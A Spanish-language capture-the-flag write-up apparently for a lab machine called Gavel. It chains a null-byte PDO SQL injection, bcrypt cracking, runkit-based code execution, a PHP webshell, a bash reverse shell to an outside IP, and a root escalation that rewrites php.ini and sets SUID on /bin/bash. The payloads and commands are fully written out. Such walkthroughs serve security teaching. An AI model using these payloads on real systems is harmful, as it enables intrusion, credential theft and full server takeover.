- Está contenido entre backticks.
- Cada byte está dentro del rango [\001-\377]), es decir, cualquier byte entre 1 y 255 en decimal o 0x01 a 0xff en hexadecimal.
Vamos a analizar paso a paso que haría el parser al ver el primer backtick de `test?`:
- Llega al caso special
[:?"'`/#-], ve que el backtick cumple con uno de los caracteres definidos`y al solo aceptar 1 byte de longitud guarda que la regla se cumple y su longitud de coincidencia. - Prueba el caso de contenido dentro de backticks
([`]([`][`]|ANYNOEOF\[`])*[`]), y va leyendo byte a byte, en este caso el primer byte encaja, el`, el segundo bytet(octal 164),e(octal 145),s(oct 163),t(oct 164),?(oct 077) y el`final. Como todos los bytes están dentro del rango [1..377], el parser también marca como que la regex coincide. - Como el parser está utilizando re2c, en caso de que más de una regex se cumpla utilizará la regla que más bytes tenga, en este caso el texto entre backticks, (un identificador sql).
Pero aquí es donde entra en juego el null byte (oct 000). Vamos a analizar cómo se comportaría el parser cuando se utiliza el nullbyte dentro de $col. El payload será test?\0, donde \0 representa al nullbyte 0x00:
- Llega al caso special
[:?"'`/#-], ve que el backtick cumple con uno de los caracteres definidos`y al solo aceptar 1 byte de longitud guarda que la regla se cumple y su longitud de coincidencia. - Prueba el caso de contenido dentro de backticks (identificador en mysql)
([`]([`][`]|ANYNOEOF\[`])*[`]), y va leyendo byte a byte, en este caso el primer byte encaja, el`, el segundo bytet(octal 164),e(octal 145),s(oct 163),t(oct 164),?(oct 077),\0(oct 000) este byte no está dentro del rango definido en ANYNOEOF, por lo que la regex no coincide. El parser vuelve a la última regla que coincide gracias are2c, en este caso, la regex de special. - Special parsea el primer backtick y hace
SKIP_ONE(PDO_PARSER_TEXT);y pasa al siguiente carácter,ANYNOEOF\SPECIALS)+ { RET(PDO_PARSER_TEXT); }Así hasta llegar al?, el cual coincide con la regexquestion [?]yspecial [:?"'`/#-], ambas son coincidencias de longitud de 1 byte, por lo que gana la primera definida, en este casoquestiony haceRET(PDO_PARSER_BIND_POS);por tanto lo considera un placeholder válido. - Lo siguiente que ve es el null byte por lo que el parser no sabe cómo interpretarlo y simplemente salta como texto y pasa al siguiente carácter. Al terminar de parsear la consulta resultante con
test?determina que no es correcta, por lo que devuelve un error.
¿Qué estamos logrando en la consulta?
1 | SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC; |
Con el input sortItem=`test?` y user_id=1 el parser funciona correctamente, y solo ve el placeholder correspondiente al user_id = ?, por lo que el parse inyectará cada parámetro en sus respectivo lugar:
1 | SELECT `test?` FROM inventory WHERE user_id = '1' ORDER BY item_name ASC; |
Lanzamos la petición:
1 | curl -X POST --data-raw 'sort=test?' \ |
Nos indica que la columna con identificador test? no existe:
1 | === ERROR (PDOException) === |
Sin embargo, con el input sortItem=`test?\0` y user_id=1 hemos conseguido burlar al parser para que nos interprete la ? de sortItem como otro placeholder, por lo que la query quedará tal que:
1 | SELECT `test'1'` FROM inventory WHERE user_id = ? ORDER BY item_name ASC; |
%00 equivale al nullbyte en formato urlencodeado. Lanzamos la petición:
1 | curl -X POST --data-raw 'sort=test?%00' \ |
1 | === ERROR (PDOException) === |
Obviamente la construcción de la consulta fallará, ya que PDO ha detectado dos placeholders, y solo tiene un parámetro en el array.
1 | $stmt->execute([$userId]); |
Aunque ahora el parser de MySQL considere los identificadores, hemos visto que podemos volver a explotar la vulnerabilidad abusando del nullbyte. Siguiendo la misma metodología anterior generamos el payload:
user_id=version` FROM (select @@version as `'version`)sqlinullbyte;--
sort=sort=\?-- \0
Añadimos un espacio entre -- y \0 ya que el parser necesita un espacio en blanco después de -- para considerarlo comentario ("--"[ \t\v\f\r])
Que transformándolo a un curl sería:
1 | curl -X POST --data-raw 'sort=\?-- %00' --data-urlencode "user_id=version\` FROM (select @@version as \`'version\`)sqlinullbyte;--" 'http://127.0.0.1:8000/inventory.php' --output - |
1 | === RESULT === |
Explotación Sobre Gavel
Una vez entendida la vulnerabilidad ya podemos pasar a explotarla sobre Gavel. Se podría intuir que la versión de PHP utilizada en el servidor es < 8.4 por la utilización de runkit_function_add(), la que no está del todo implementada en 8.4. Así que de primeras probamos la explotación para el parser < 8.4.
Generar la request vulnerable:
Confeccionamos el payload para extraer la versión de la BD.
user_id=version` FROM (select @@version as `'version`)sqligavel;--
sort=\? --
Hemos confirmado la explotación de la SQLi en Gavel.
Ahora debemos encontrar en la base de datos unas credenciales de un usuario con el rol auctioneer. Como tenemos acceso al código podemos buscar tablas interesantes.
Register.php:
1 | $stmt = $pdo->prepare("INSERT INTO users (username, password, role, created_at, money) VALUES (:username, :password, :role, :created_at, :money)"); |
Se puede observar que existe una tabla llamada users, con las columnas username, password, role.
Adaptamos nuestro payload contenido en user_id para extraerlas:
Raw:
1 | user_id=username`, `password`, `role` FROM (SELECT username as `'username`, password, role from users)sqligavel;--&sort=\? -- |
Url Encoded:
1 | user_id=username%60%2c%20%60password%60%2c%20%60role%60%20FROM%20(SELECT%20username%20as%20%60'username%60%2c%20password%2c%20role%20from%20users)sqligavel%3b--&sort=\?+-- |
Como se puede apreciar solo estamos viendo una columna, en este caso la primera, username. Esto sucede ya que el PHP solo saca el valor de las filas de la primera columna array_keys($row)[0].
1 | foreach ($results as $row) { |
Podemos ir haciendo select utilizando solo una columna o una manera más elegante sería concatenar las tres columnas sobre una única columna, opto por la segunda.
user_id=concatall` FROM (SELECT CONCAT(username, password, role) as `'concatall` from users)sqligavel;--
Raw:
1 | user_id=concatall` FROM (SELECT CONCAT(username, password, role) as `'concatall` from users)sqligavel;--&sort=\? -- |
UrlEncode:
1 | user_id=concatall%60%20FROM%20(SELECT%20CONCAT(username%2c%20password%2c%20role)%20as%20%60'concatall%60%20from%20users)sqligavel%3b--&sort=\?+-- |
Como podemos ver el usuario auctioneer, tiene el rol auctioneer, por lo que son las credenciales que buscábamos.
1 | auctioneer$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfSauctioneer |
Crack Hash
Para crackear el hash necesitamos saber su tipo, podemos utilizar hashid:
1 | hashid '$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS' |
Output:
1 | Analyzing '$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS' |
Nos devuelve tres posibles coincidencias, como vamos a utilizar hashcat para crackear la pass buscamos el identificador de bcrypt en Hashcat Examples.
| Hash-Mode | Hash-Name | Example |
|---|---|---|
| 3200 | bcrypt $2*$, Blowfish (Unix) | $2a$05$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6 |
Guardamos el hash dentro del archivo hash_auctioneer.txt
1 | echo '$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS' >> hash_auctioneer.txt |
Hashcat Command:
1 | hashcat -a 0 -m 3200 hash_auctioneer.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt --status |
| Parámetro | Función |
|---|---|
-a 0 |
Modo de ataque diccionario (wordlist). |
-m 3200 |
Tipo de hash bcrypt. |
hash_auctioneer.txt |
Archivo que contiene el hash a crackear |
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt |
Wordlist para el ataque de fuerza bruta |
--status |
Muestra el estado/progreso periódicamente durante el cracking. |
Output:
1 | [...] |
¡Contraseña crackeada!
Construyendo el Payload
Una vez ya hemos obtenido un usuario con el rol auctioneer podemos pasar a explotar el RCE que habíamos detectado en el análisis de código.
runkit_function_add Demo
Para entender mejor esta función podemos testearla en local, runkit_function_add() no es parte de PHP nativo, y en versiones modernas de PHP ha sido reemplazado por runkit7 para PHP 7+, por lo que runkit_function_add() es un alias a runkit7_function_add(). Podemos utilizar un contenedor docker para instalar la versión de PHP necesaria junto a la extensión runkit de forma sencilla.
Para la demo he montado una PoC muy sencilla, la cual creará una función sin parámetros llamada RCE() y ejecutará el comando whoami a nivel de sistema a través de la función exec() y imprimiendo el resultado con echo().
1 |
|
Dockerfile para automatizar la PoC
1 | FROM php:7.4.33-cli-alpine3.16 |
Tras la ejecución deberíamos ver el output root, confirmando la explotación.
1 | docker build -t php74-runkit-min . && docker run --rm php74-runkit-min |
Explotando RCE en Gavel
Una vez entendida la función, podemos craftear nuestro payload. Tenemos dos maneras de enfocarlo, se puede intentar ejecutar código a nivel de sistema con funciones como exec(), system(), etc… Pero es posible que estas funciones estén capadas en la configuración php.ini a través de disable_functions, por lo que antes de intentar utilizar estas funciones y poder llegar a frustrarnos por no conseguir el RCE, os recomiendo intentar sacar el output de la función phpinfo(), alojarlo en el servidor, y consultarlo para asegurarnos que las funciones de ejecución de comandos no están deshabilitadas.
Para llevar a cabo el RCE necesitaremos el auction_id y el tiempo que queda para que la subasta caduque, como ya hemos visto antes la subasta debe estar activa para que se ejecute la rule.
Curl para obtener el html y parsearlo con htmlq, extrayendo nombre del item, auction_id y el tiempo restante
1 | html="$(curl -sS -H 'Cookie: gavel_session=<your_cookie_value>' http://gavel.htb/admin.php)"; \ |
1 | auction_id Time Name |
En las siguientes tabs os muestro como inyectar código php para crear un archivo en el servidor con el output de phpinfo() y como crear una webshell en el servidor para ejecutar comandos a nivel de sistema.
PoC para crear un fichero con el contenido de phpinfo().
En Auction_watcher.php hemos encontrado la ruta de la aplicación por lo que podemos crear una regla que nos genere un archivo PHP con el output de la función phpinfo(), en este caso si la función file_put_contents() se ejecuta con éxito retornará el número de bytes del archivo generado:
1 | return file_put_contents("/var/www/html/gavel/includes/phpinfo.php", "<?php phpinfo(); ?>"); |
Actualizamos la regla para un item de una subasta activa.
1 | POST /admin.php |
Respuesta confirmando el cambio:
1 | HTTP/1.1 302 Found |
Realizamos una puja para que se ejecute la regla:
1 | POST /includes/bid_handler.php |
Respuesta confirmando que la puja se ha completado con éxito:
1 | HTTP/1.1 200 OK |
Consultamos el phpinfo.php en http://gavel.htb/includes/phpinfo.php comprobando si las funciones que nos interesan están deshabilitadas, como por ejemplo, exec().
¡La función no está desactivada! Esto se traduce en que tenemos RCE.
Siguiendo el mismo concepto, tenemos varias opciones bastante directas, como entablar una revshell directamente o subir una webshell al servidor. Me decanto por la segunda ya que si se cierra la conexión en la shell nos evitamos tener que estar volviendo a explotar la vulnerabilidad, y así ya dejamos “configurado” un método de persistencia.
Generamos un hash aleatorio que nos servirá como nombre de archivo, esto es más que nada para evitar fastidiar la experiencia de los usuarios que puedan estar intentando pwnear la misma instancia.
1 | printf '%s%s%s\n' \ |
Para la webshell vamos a utilizar un código PHP el cual va a tomar el valor del parámetro cmd pasado por GET y lo va a ejecutar a nivel de sistema a través de exec():
1 | return file_put_contents("/var/www/html/gavel/includes/this_webshell_is_not_part_of_the_ctf_31f2bd26d2095362217f5a0ffd18cb27f92c772fa48641f6ee8fa13b565cf50f.php", '<?php exec($_GET["cmd"]); ?>'); |
Preparamos la reverse shell que vamos a lanzar desde la webshell, si queréis podéis utilizar una tool que cree en su momento con las principales revshells.
1 | python3 -m venv Voidshells && |
1 | ./bin/python3 Voidshells.py -i <lhost> -p <lport> -o linux -l bash -s bash |

Antes de ejecutar la revshell nos ponemos por escucha para recibir la conexión de la revshell, en mi caso el puerto será 1234
1 | nc -lnvp 1234 |
Realizamos un curl para ejecutar el comando bash -c "/bin/bash -i >& /dev/tcp/10.10.14.46/1234 0>&1"
1 | curl -i -s -k -G 'http://gavel.htb/includes/this_webshell_is_not_part_of_the_ctf_31f2bd26d2095362217f5a0ffd18cb27f92c772fa48641f6ee8fa13b565cf50f.php' \ |
| Flag | Función |
|---|---|
-i |
Incluye headers HTTP en la salida. |
-s |
Silencioso |
-k |
No valida certificado TLS. |
-G |
pasa la --data* a la querystring para que $_GET lo pueda leer |
--data-urlencode |
URL-encodea el valor de los parámetros que pases |
Como se puede ver hemos recibido la conexión en nuestro listener:
1 | nc -lnvp 1234 |
Podemos transformar la shell a una interactiva que nos permita usar ctrl-c, shortcuts de movimiento, etc…
1 | www-data@gavel:/var/www/html/gavel/includes$ script /dev/null -c bash |
| Comando / Acción | Dónde se ejecuta | Qué hace |
|---|---|---|
script /dev/null -c bash |
Remoto | Lanza bash dentro de un entorno tipo terminal (PTY) usando script y no guarda log (/dev/null). |
Ctrl+Z (^Z) |
Local | Suspende el proceso en foreground |
stty raw -echo |
Local | Pone la terminal en modo raw y desactiva el echo |
fg |
Local | Vuelve a poner el proceso suspendido en primer plano. |
reset xterm |
Remoto | Resetea la terminal. |
export TERM=xterm |
Remoto | Define el tipo de terminal. |
export SHELL=/bin/bash |
Remoto | Define la shell que quieres utilizar por defecto en la variable de entorno. |
Escalada de privilegios
www-data –> auctioneer
Nuestra revshell se ha ejecutado en el contexto de www-data ya que este es el user que lanza el proceso del servidor Apache2, así que tenemos que intentar escalar privilegios hasta root.
Lo primero que suelo hacer es mirar qué usuarios tiene la máquina, podéis directamente catear el /etc/passwd, o mirar que users tienen carpeta en el /home, ya que los usuarios que suelen ser parte del ctf tienen su flag en su home.
Este comando te permite comprobar los usuarios creados de forma manual y no a nivel de sistema:
1 | uid_min_line=$(grep "^UID_MIN" /etc/login.defs); \ |
1 | auctioneer:x:1001:1002::/home/auctioneer:/bin/bash |
Parece que a nivel de sistema también existe un usuario llamado auctioneer, por lo que lo primero que tendríamos que comprobar es si nos sirve la contraseña que hemos encontrado en el aplicativo Web midnight1.
1 | www-data@gavel:/var/www/html/gavel/includes$ su auctioneer |
Nos hemos podido loguear como auctioneer. Ya podemos ver la flag user.txt:
1 | cat /home/auctioneer/user.txt |
La reutilización de contraseñas es una práctica muy habitual. Los usuarios que no están familiarizados con la seguridad tienden a reutilizar la misma contraseña o variantes muy similares.
Aunque el usuario del sistema no fuese el mismo que el de la Web os recomiendo probar con todas las contraseñas que hayamos encontrado durante las fases de recon y explotación.
Auctioneer –> Root
Con una contraseña válida lo primero sería buscar si tenemos permisos de sudo “extras” para nuestro usuario, esto lo podemos ver con sudo -l
1 | sudo -l |
En este caso no tenemos permisos extras.
Otro punto importante que me suele gustar al moverme lateralmente a otro usuario es mirar que archivos/directorios son propiedad del usuario o de grupos del cual forma parte:
1 | for g in $(id -Gn); do find / -group "$g" 2>/dev/null; done |
1 | [...] |
1 | for g in $(id -Gn); do find / \( -path /proc -o -path /sys \) -prune -o -group "$g" -print 2>/dev/null; done |
1 | [...] |
¡Parece ser que hemos encontrado un binario y un socket custom!
Análisis a Alto Nivel del Binario gavel-util
Cuando estoy realizando un CTF en el cual ya he conseguido RCE y no he visto una escalada de privilegios evidente como abuso de capabilities, permisos excesivos de sudo, binarios con permisos SUID, etc… Me gusta spawnear tres shells, destinadas a las siguientes funciones:
- La primera de reconocimiento Manual.
- Una Shell ejecutando pspy64, tool que nos permite ver qué procesos se están lanzando y sobre qué contexto, todo esto sin ser root
- Lanzar el script de linpeas.sh, script muy completo que nos enumera los posibles vectores de escalada.
En este caso solo nos harán falta las shells 1 y 2.
Para pasarnos pspy64 nos montamos un servidor Web con python en nuestra máquina:
1 | python3 -m http.server -b <lhost> 8000 |
En la máquina víctima nos descargamos la tool y le damos permisos de ejecución:
1 | mkdir /tmp/privesc && cd /tmp/privesc && wget http://<lhost>:8000/pspy64 && chmod +x ./* |
Lanzamos pspy64
1 | ./pspy64 |
De primeras no hay nada interesante lanzándose por detrás, así que pasamos a analizar el binario /usr/local/bin/gavel-util
1 | /usr/local/bin/gavel-util |
Tiene pinta que está relacionado con el sistema de subastas implementado en la página Web, probamos la flag stats:
1 | /usr/local/bin/gavel-util stats |
1 | =================== GAVEL AUCTION DASHBOARD =================== |
Parece ser que nos lista los items activos y las pujas anteriores, bueno, sin más. Si chequeamos el pspy64 vamos a encontrar algo muy interesante:
1 | 2026/01/11 13:37:11 CMD: UID=1001 PID=28086 | /usr/local/bin/gavel-util stats |
Desde el usuario auctioneer (UID=1001) hemos ejecutado gavel-util, y acto seguido se ha ejecutado otro binario custom en /opt/gavel/gaveld, ¡pero ojo! Esta llamada se está haciendo desde el contexto de ROOT (UID=0).
Vamos a revisar el contenido del directorio /opt/gavel/
1 | tree -apug |
1 | [drwxr-xr-x root root ] . |
Vemos binario gaveld, un sample.yaml, y una configuración de php.ini, que presuntamente podría ser utilizada por el binario gaveld.
Parece que el sample.yaml nos podría servir para gavel-util submit <file>, ya que, nos pedía un archivo en formato yaml.
1 | cat /opt/gavel/sample.yaml |
1 |
|
Parece ser la estructura que tendría un nuevo item para pujar por el. Al archivo le falta cerrar el yaml, así que añadimos --- para cerrar la sintaxis y lo utilizamos en gavel-util.
1 | cp /opt/gavel/sample.yaml /tmp/privesc/test.yaml && \ |
1 | YAML missing required keys: name description image price rule_msg rule |
Parece que no está detectando los campos, se podría deber a que están anidados sobre item:, podemos probar a eliminar la indentación y el campo item:
1 | sed '/^---$/,/^---$/{/^item:[[:space:]]*$/d; s/^[ ]\{2\}//}' \ |
Output:
1 | Item submitted for review in next auction |
Si revisamos que ha pasado por detrás encontraremos lo siguiente:
1 | 2026/01/11 14:17:05 CMD: UID=0 PID=35279 | /opt/gavel/gaveld |
Se está ejecutando el siguiente oneliner como root (los caracteres \ los añado yo para que veáis el output mejor):
1 | /usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 \ |
Si desglosamos los parámetros del comando vemos el siguiente comportamiento:
| Parámetros | Descripción |
|---|---|
-n |
No utiliza el php.ini por defecto (ignora la configuración estándar del sistema). |
-c /opt/gavel/.config/php/php.ini |
Usa ese php.ini como configuración. |
-r '<código>' |
Ejecuta el código PHP que sigue |
Si analizamos el código paso por paso vemos este comportamiento:
Se define la función
__sandbox_eval().1
function __sandbox_eval(){
Define las variables
previous_bid,current_bidybidder.1
$previous_bid=150;$current_bid=200;$bidder='Shadow21A';
Comprueba el resultado de la regla definida en el campo rule del yaml que hemos pasado, en este caso:
1
return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');};
Ejecuta la función y guarda lo generado en el return en la variable $res, en este caso retornará
trueporque la condición se cumple200 >= 150*1.2(200 >= 180) y elbidderes diferente asado(Shadow21A != sado), por lo que ambas condiciones se cumplen.1
$res = __sandbox_eval();
Si la regla no devuelve un valor booleano entra en el
ife imprimeSANDBOX_RETURN_ERROR.1
if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }
En el caso de que la regla sí sea booleana pero sea
truedevuelveILLEGAL_RULE.1
else if($res) { echo 'ILLEGAL_RULE'; }
Por lo que a la conclusión a la que podemos llegar es que si tenemos control de la RULE podríamos ejecutar código PHP en el contexto de root siguiendo la configuración definida en php.ini, por lo que antes de craftear el payload vamos a ver qué posibles restricciones están configuradas.
1 | cat /opt/gavel/.config/php/php.ini |
Output:
1 | engine=On |
| Configuración | Descripción |
|---|---|
open_basedir=/opt/gavel |
Limita el acceso del proceso PHP al directorio /opt/gavel y sus subdirectorios. Desde el punto de vista del atacante, restringe el alcance de lecturas/escrituras de ficheros a esa ruta, dificultando acciones fuera de ese directorio (por ejemplo, tocar binarios del sistema, modificar /etc/*, crear/alterar usuarios, ajustar permisos/capabilities en rutas del sistema). |
disable_functions=exec,shell_exec,[...],stream_socket_client |
Elimina las funciones que habilitan ejecución de comandos/procesos a nivel de sistema. además de otras funciones útiles como fopen |
Diferencia Entre Función y Constructor de Lenguaje
La vulnerabilidad que vamos a comentar no forma parte del vector de explotación para obtener la escalada de privilegios, pero merece la pena comentarla ya que es un fallo muy extendido.
Vemos que en este archivo de configuración se han tomado muchas molestias y nos han eliminado multitud de funciones a través de disable_functions como exec,shell_exec,system incluso nos han “deshabilitado” las “funciones” eval,include,require,require_once,include_once, así que uno diría que en este contexto no podríamos utilizar eval() ¿Verdad?.
Vamos a realizar una pequeña PoC para demostrar la vulnerabilidad existente en disable_functions.
php.ini:
1 | open_basedir=/tmp/Poc_PhP/ |
La PoC creada muestra las funciones deshabilitadas, probando si puede utilizar la función exec() o eval() para mostrar la fecha de hoy, imprimiendo el resultado.
1 |
|
1 | php -c /tmp/Poc_PhP/php.ini /tmp/Poc_PhP/PoC.php |
Output:
1 | disable_functions=exec,eval |
Como se puede ver exec() no se ha ejecutado debido a que php no reconoce la función, sin embargo, eval() se ha ejecutado con éxito y nos ha impreso el día:
¿Por qué ocurre esto? Muy simple, eval() no es una función, es un constructor de lenguaje, por lo que a través de disable_functions no se puede deshabilitar, generando una falsa sensación de seguridad.
Diferencia entre función y constructor de lenguaje.
Los constructores de lenguaje son las strings fundamentales que configuran un lenguaje de programación. En PHP estos serían if, while, else, eval, etc… Estas strings están hardcodeadas en el lenguaje y tienen unas reglas especiales. Las funciones se crean a partir de estos constructores. Más información.
En mi caso desconocía que eval() era un constructor de lenguaje, siempre había pensado que era una función y creo que no soy el único, buscando literalmente en el navegador How to Disable Functions in PHP, el primer resultado ha sido este artículo: How to Disable Functions in PHP
Donde dice explícitamente
One primary reason is security. Functions like
exec(),system(),eval(),shell_exec(),passthru(), etc., allow PHP scripts to execute system-level commands, which could be abused if an attacker manages to inject malicious input into your application. For instance, usingeval()without proper input validation can lead to code injection vulnerabilities.
To disable functions, simply add them after the equals sign, separated by commas. For example, if you want to disable
exec(),system(), andeval(), you would modify the line to look like this:disable_functions = exec, system, eval
Imaginaos la cantidad de desarrolladores que han recurrido a este artículo que por SEO está posicionado el primero. Todas las aplicaciones que creen van a ser vulnerables si utilizan input del usuario sin sanitizar y lo interpretan como código PHP.
He escrito al creador sugiriendo la corrección del artículo. Por ahora sin respuesta.
Modificación del archivo php.ini
Como hemos visto antes estamos limitados a realizar acciones dentro de /opt/gavel, y el archivo php.ini se está comprobando en cada llamada, por lo que si de alguna forma podemos conseguir editar el archivo php.ini podemos realizar las modificaciones necesarias para permitirnos escribir fuera de ese directorio, o directamente permitir funciones de ejecución de comandos a nivel de sistema.
Comprobamos si tenemos permisos sobre php.ini:
1 | stat -c '%A (%a) %U:%G %n' /opt/gavel/.config/php/php.ini |
Output:
1 | -rw-r--r-- (644) root:root /opt/gavel/.config/php/php.ini |
El archivo solo puede ser modificado por el usuario root (el único con permisos de escritura).
Tenemos que buscar una función que no esté deshabilitada y que nos permita modificar el archivo php.ini a nivel de permisos o sobrescribir/modificar directamente. Tenemos múltiples funciones para realizar esta acción, yo en este caso voy a utilizar chmod() y file_put_contents().
Chmod()
Esta función nos permite cambiar los permisos de un archivo, equivale al comando chmod de bash.
Creamos la rule que devuelva true y cambie los permisos del archivo php.ini:
1 | return chmod('/opt/gavel/.config/php/php.ini', 0777); |
El 777 equivale a rwx (read, write, execution) para todos los usuarios ya que r=4,w=2,x=1, el 0 que lo precede lo utilizamos ya que esta función trabaja con valores octales.
Se debe tener en cuenta que el modo permissions es considerado como un número en notación octal, por lo que, para asegurarse, se puede prefigurar el modo permissions con un cero. Las cadenas como “g+w” no funcionarán correctamente. Más Información
Crafteamos nuestro archivo chmod_privesc.yaml para escalar privilegios:
1 |
|
Resultado:
1 | /usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 -r \ |
Volvemos a comprobar los permisos del archivo php.ini:
1 | stat -c '%A (%a) %U:%G %n' /opt/gavel/.config/php/php.ini |
Output:
1 | -rwxrwxrwx (777) root:root /opt/gavel/.config/php/php.ini |
Ahora que tenemos permisos de escritura eliminamos disable_functions y open_basedir, quedando nuestro nuevo php.ini tal que:
1 | engine=On |
File_put_contents()
Para lograr el mismo objetivo también podemos utilizar la función file_put_contents(), que nos permite sobrescribir/crear un fichero.
Creamos la regla que nos devuelva true y que sobrescriba el fichero php.ini:
1 | $content = "engine=On\ndisplay_errors=On\ndisplay_startup_errors=On\nlog_errors=Off\nerror_reporting=E_ALL\nmemory_limit=32M\nmax_execution_time=3\nmax_input_time=10\nscan_dir=\nallow_url_fopen=Off\nallow_url_include=Off"; return file_put_contents('/opt/gavel/.config/php/php.ini', $content) !== false; |
file_put_contents_privesc.yaml:
1 |
|
Proceso lanzado por root:
1 | 2026/01/11 20:28:16 CMD: UID=0 PID=101229 | /usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 -r \ |
Nuevo php.ini:
1 | engine=On |
Dar Permisos SUID a /bin/bash
Ya nos quedaría el último paso para escalar, ahora que nuestro php.ini ya no nos limita a /opt/gavel, podemos cambiar los permisos del binario /bin/bash para darle permisos SUID y poder spawnear una shell como root.
Regla:
1 | return chmod('/bin/bash', 04777); |
suid_bin_bash_privesc.yaml:
1 |
|
Comprobamos los permisos actuales del binario:
1 | stat -c '%A (%a) %U:%G %n' /bin/bash |
Ejecutamos el binario en modo submit con nuestro yaml malicioso:
1 | /usr/local/bin/gavel-util submit /tmp/privesc/suid_bin_bash_privesc.yaml |
Proceso ejecutado:
1 | /usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 \ |
Nuevos permisos:
1 | stat -c '%A (%a) %U:%G %n' /bin/bash |
Con el binario Bash con permisos SUID podemos ejecutar una shell bash como root:
1 | auctioneer@gavel:/tmp/privesc$ /bin/bash -p |
1 | cat root.txt |
Conocimientos Obtenidos
Tras pwnear Gavel con el procedimiento descrito en este post deberíamos ser capaces de extraer los siguientes conocimientos:
- Extracción de información mediante reconocimiento Web manual.
- Dumpear un repositorio de git filtrado en el servidor Web.
- Análisis de código PHP en busca de vulnerabilidades.
- Explotación de una SQLi imposible abusando del parser de PDO.
- Generar un diccionario custom para un ataque de fuerza bruta en base a los datos obtenidos/inferidos durante la fase de reconocimiento.
- La posibilidad de RCE mediante la función
runkit_function_addsi tenemos control del último parámetro. - Diferencia entre función y constructor del lenguaje.
Posibles Errores
- A la hora de explotar la SQLi no podemos utilizar
#para generar un comentario, ya que el parser utilizado en PHP < 8.4 solo tiene en cuenta--para interpretarlo como comentario - Al explotar la SQLi en Gavel desde Burp Suite hay que tener cuidado de generar correctamente la petición HTTP, si metemos un salto de línea debajo de nuestros parámetros la petición no se interpreta correctamente por el servidor Web
Mis Sugerencias Para La Máquina Gavel
La máquina me ha gustado, tanto a nivel de ambientación como de vulnerabilidades a explotar. Sin embargo, a mi parecer hay algún punto que modificaría. Obviamente esto es totalmente subjetivo:
- Me gustaría que se indicase la versión PHP del backend, ya fuese a través de una cabecera HTTP, en un comentario HTML/JS, en un testimonio de usuario, o en el mismo código del repositorio git. Creo que esto ayudaría mucho a reproducir en local la vulnerabilidad para explotarla correctamente en el server y saber cuál es el parser de PDO exacto utilizado por el backend.
- Que la SQLi hubiese devuelto los errores, tanto de MySQL como de PDO. Esto habría facilitado enormemente la construcción del payload sin tener que estar creando la PoC en local para entender qué está pasando por detrás.
Autores Y Referencias
Autor de la máquina: Shadow21A, muchas gracias por la creación de Gavel aportando a la comunidad.
- Blog para la explotación de la SQLi: A Novel Technique for SQL Injection in PDO’s Prepared Statements por hash_kitten




